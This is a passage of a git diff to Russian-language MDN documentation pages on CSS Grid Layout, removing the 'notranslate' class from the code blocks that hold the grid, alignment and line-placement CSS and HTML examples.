родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; @@ -548,7 +548,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> <div id="l_ex"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1">One</div> <div class="box box2">Two</div> <div class="box box3">Three</div> @@ -557,7 +557,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -576,7 +576,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -607,7 +607,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Порядком, в котором элементы накладываются друг на друга, можно управлять с помощью свойства <code>z-index</code> - точно так же, как в случае с позиционированными элементами. Если задать <code>box2</code> значение <code>z-index</code> , меньшее, чем у <code>box1</code> , в стеке он отобразится под элементом <code>box1</code>.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -628,7 +628,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1">One</div> <div class="box box2">Two</div> <div class="box box3">Three</div> @@ -637,7 +637,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html index cce90b7f30..ce93888a07 100644 --- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -41,7 +41,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_1"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -59,7 +59,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -85,7 +85,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -104,7 +104,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_2"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -122,7 +122,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -150,7 +150,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -189,7 +189,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_3"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -207,7 +207,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -235,7 +235,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -256,7 +256,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_4"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -274,7 +274,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4, 1fr); grid-gap: 10px; @@ -290,7 +290,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> </div> </pre> @@ -322,7 +322,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_5"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -340,7 +340,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -366,7 +366,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -381,7 +381,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_6"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -399,7 +399,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -426,7 +426,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -441,7 +441,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_7"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -459,7 +459,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -486,7 +486,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -511,7 +511,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_8"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -529,7 +529,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -557,7 +557,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -576,7 +576,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_9"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -594,7 +594,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -621,7 +621,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> diff --git a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html index 58b6f849f2..79f92b22e8 100644 --- a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html +++ b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -24,7 +24,7 @@ original_slug: >- <p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -42,14 +42,14 @@ original_slug: >- </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -64,7 +64,7 @@ original_slug: >- <p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвёртой строчной линии.</p> <div id="Line_Number"> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; @@ -77,7 +77,7 @@ original_slug: >- <p>Задавая адреса для каждого элемента по отдельности, мы можем разместить все наши четыре элемента по колонкам и строкам. Заметьте, что при желании можно оставить ячейки пустыми. Одна из самых приятных вещей при работе с Grid Layout - возможность создавать негативное пространство (пустые области в макете) без кувырков через голову и прочих хаков.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -98,7 +98,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -106,7 +106,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box2 { +<pre class="brush: css">.box2 { grid-column-start: 3; grid-column-end: 4; grid-row-start: 1; @@ -135,7 +135,7 @@ original_slug: >- <p>Мы написали много кода, чтобы разместить каждый элемент. Неудивительно, что существует <a href="/ru/docs/Web/CSS/Shorthand_properties">краткая форма записи свойств</a>. {{cssxref("grid-column-start")}} и {{cssxref("grid-column-end")}} могут быть объединены в одном {{cssxref("grid-column")}}, а {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}} - в {{cssxref("grid-row")}}.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -156,7 +156,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -164,7 +164,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 / 2; grid-row: 1 / 4; } @@ -191,7 +191,7 @@ original_slug: >- <div id="End_Lines"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -212,7 +212,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -220,7 +220,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-row-start: 1; grid-row-end: 4; @@ -248,7 +248,7 @@ original_slug: >- <div id="New_Shorthand"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -269,7 +269,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -277,7 +277,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 ; grid-row: 1 / 4; } @@ -310,7 +310,7 @@ original_slug: >- </ul> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -331,7 +331,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -339,7 +339,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-area: 1 / 1 / 4 / 2; } .box2 { @@ -375,7 +375,7 @@ original_slug: >- <p>В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краёв.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -396,7 +396,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -404,7 +404,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: -1; grid-column-end: -2; grid-row-start: -1; @@ -436,7 +436,7 @@ original_slug: >- <p>Возможность адресовать и первую, и последнюю линии грида становится крайне полезной, если нам нужно растянуть элемент на всю длину грида. Сделать это можно вот так:</p> -<pre class="brush: css notranslate">.item { +<pre class="brush: css">.item { grid-column: 1 / -1; } </pre> @@ -448,7 +448,7 @@ original_slug: >- <p>Зазоры появляются только между треками и не добавляют пространство сверху, снизу, справа или слева грид-контейнеру. Мы можем добавить зазоры в предыдущий пример, дописав эти свойства грид-контейнеру.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -469,7 +469,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -477,7 +477,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 ; grid-row: 1 / 4; } @@ -508,7 +508,7 @@ original_slug: >- <p>Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаём два значения, то первое используется для <code>grid-row-gap</code> , а второе - для <code>grid-column-gap</code>.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); @@ -523,7 +523,7 @@ original_slug: >- <p>В дополнение к возможности обращаться к начальной и конечной линии по их номерам вы можете задать номер начальной линии, а после - количество треков, которые должен занять элемент.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -544,7 +544,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -552,7 +552,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1; grid-row: 1 / span 3; } @@ -574,7 +574,7 @@ original_slug: >- <p>Ключевое слово <code>span</code> также можно использовать в качестве значения <code>grid-row-start</code>/<code>grid-row-end</code> и<code>grid-column-start/grid-column-end</code>. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаём начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.</p> -<pre class="notranslate">.box1 { +<pre>.box1 { grid-column-start: 1; grid-row-start: 1; grid-row-end: span 3; @@ -583,7 +583,7 @@ original_slug: >- <p>Во втором примере поступим наоборот: зададим конечную строчную линию, а в значении свойства, отвечающего за начальную линию, напишем <code>span 3</code>. Это значит, что элемент должен занять три трека до заданной конечной линии. Грид-область начинается с линии 4 и занимает три трека до линии 1.</p> -<pre class="notranslate">.box1 { +<pre>.box1 { grid-column-start: 1; grid-row-start: span 3; grid-row-end: 4; diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html index fe9d21dcb8..1e8690d0ad 100644 --- a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="onedtwod"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -40,7 +40,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -49,7 +49,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; flex-wrap: wrap; } @@ -71,7 +71,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Two_Dimensional_With_Grid"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -89,7 +89,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -98,7 +98,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } @@ -133,7 +133,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обёртки wrapper установлено свойство {{cssxref("min-height")}}, и оно задаёт высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -151,14 +151,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; align-items: flex-end; min-height: 200px; @@ -178,7 +178,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаём <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -196,14 +196,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3,1fr); align-items: end; @@ -233,7 +233,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаём структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -251,14 +251,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(auto-fill, 200px); } @@ -271,7 +271,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаём автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -289,14 +289,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); } @@ -317,7 +317,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>В примере ниже у нас есть блок-обёртка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещён в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -335,7 +335,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3"> @@ -346,7 +346,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4,1fr); grid-auto-rows: 200px; @@ -385,7 +385,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Задаём <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -403,7 +403,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three @@ -415,7 +415,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4,1fr); grid-auto-rows: 200px; @@ -453,7 +453,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Display_Contents_Before"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -477,7 +477,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -490,7 +490,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); @@ -509,7 +509,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div id="Display_Contents_After"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -533,7 +533,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -546,7 +546,7 @@ translation_of: 